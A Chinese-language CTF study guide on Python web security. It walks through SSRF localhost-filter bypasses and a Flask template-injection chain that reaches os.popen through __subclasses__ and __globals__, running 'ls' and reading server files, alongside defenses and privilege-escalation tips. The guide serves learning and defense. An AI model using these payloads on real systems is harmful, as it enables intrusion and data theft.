CTFer成长之路之Python中的安全问题
字数 1637 2025-08-11 08:35:36
Python中的安全问题:CTF实战指南
1. SSRF (Server-Side Request Forgery) 服务器端请求伪造
1.1 基本概念
SSRF是一种攻击者能够从服务器端发起任意HTTP请求的安全漏洞。在Python中,当应用程序接受用户提供的URL并直接发起请求时,如果没有适当的验证和过滤,就可能存在SSRF漏洞。
1.2 CTF题目分析
题目要求访问容器内部的8000端口和URL路径/api/internal/secret来获取flag。
初始尝试
直接访问127.0.0.1:8000/api/internal/secret被禁止,因为127.0.0.1是本机地址。
绕过方法
-
使用0.0.0.0代替127.0.0.1
- 构造payload:
0.0.0.0:8000/api/internal/secret - 0.0.0.0是一个特殊地址,表示"本机上的所有IPv4地址"
- 构造payload:
-
IPv6地址绕过
- 使用
[::1]:8000(需要服务器支持IPv6) - ::1是IPv6的环回地址,相当于IPv4的127.0.0.1
- 使用
-
重定向跳转
- 构造一个会重定向到
127.0.0.1:8000的外部URL
- 构造一个会重定向到
-
DNS Rebinding攻击
- 提供一个域名,第一次解析到非127.0.0.1的地址
- 第二次解析到127.0.0.1
- 利用DNS TTL过期机制实现
1.3 防御措施
- 验证用户提供的URL
- 禁止访问内网IP和特殊地址
- 使用白名单机制限制可访问的域名和IP
- 禁用URL重定向
2. SSTI (Server-Side Template Injection) 服务器端模板注入
2.1 基本概念
SSTI发生在应用程序使用用户输入作为模板渲染的一部分时,攻击者可以注入模板指令来执行任意代码。
2.2 CTF题目分析
题目是一个Flask应用,存在模板注入漏洞。
漏洞检测
提交?password={{3*3}},页面返回9,确认存在模板注入。
利用步骤
-
获取基类
"".__class__.__bases__[0]获取字符串对象的基类(通常是
object类) -
获取所有子类
"".__class__.__bases__[0].__subclasses__()列出所有可用的Python类
-
查找可利用的类
在子类列表中查找os._wrap_close类(本例中索引为127) -
验证类索引
"".__class__.__bases__[0].__subclasses__()[127]确认返回的是
<class 'os._wrap_close'> -
执行系统命令
"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()通过
__globals__访问全局命名空间,调用popen执行系统命令 -
读取flag文件
"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()读取服务器上的文件内容
2.3 其他利用方式
- 文件读写操作
- 导入危险模块
- 修改应用程序配置
- 获取敏感信息
2.4 防御措施
- 永远不要信任用户输入
- 使用沙盒环境执行模板
- 对模板变量进行严格的转义
- 使用更安全的模板引擎
- 限制模板可访问的对象和方法
3. 其他Python安全注意事项
3.1 反序列化漏洞
- pickle模块的不安全使用
- yaml.load()的危险性
- 使用json.loads()代替危险的反序列化方法
3.2 命令注入
- 避免使用os.system、subprocess.call等危险函数
- 使用subprocess.run的安全参数
- 对用户输入进行严格过滤
3.3 文件操作安全
- 路径遍历漏洞防护
- 文件权限设置
- 安全临时文件创建
3.4 依赖安全
- 定期更新依赖库
- 检查依赖库的安全漏洞
- 使用虚拟环境隔离项目
4. CTF实战技巧总结
-
SSRF绕过技巧
- 尝试不同的本地地址表示法
- 利用DNS特性
- 使用URL编码和特殊字符
-
SSTI利用流程
- 确认漏洞存在
- 获取对象继承链
- 查找危险类和方法
- 构建利用链
-
信息收集
- 尝试读取/proc/self/environ
- 检查环境变量
- 查找配置文件
-
权限提升
- 查找SUID文件
- 检查cron作业
- 利用Python库中的漏洞
通过理解这些安全问题和利用技术,CTF选手可以更好地识别和利用Python应用程序中的漏洞,同时也帮助开发者构建更安全的Python应用。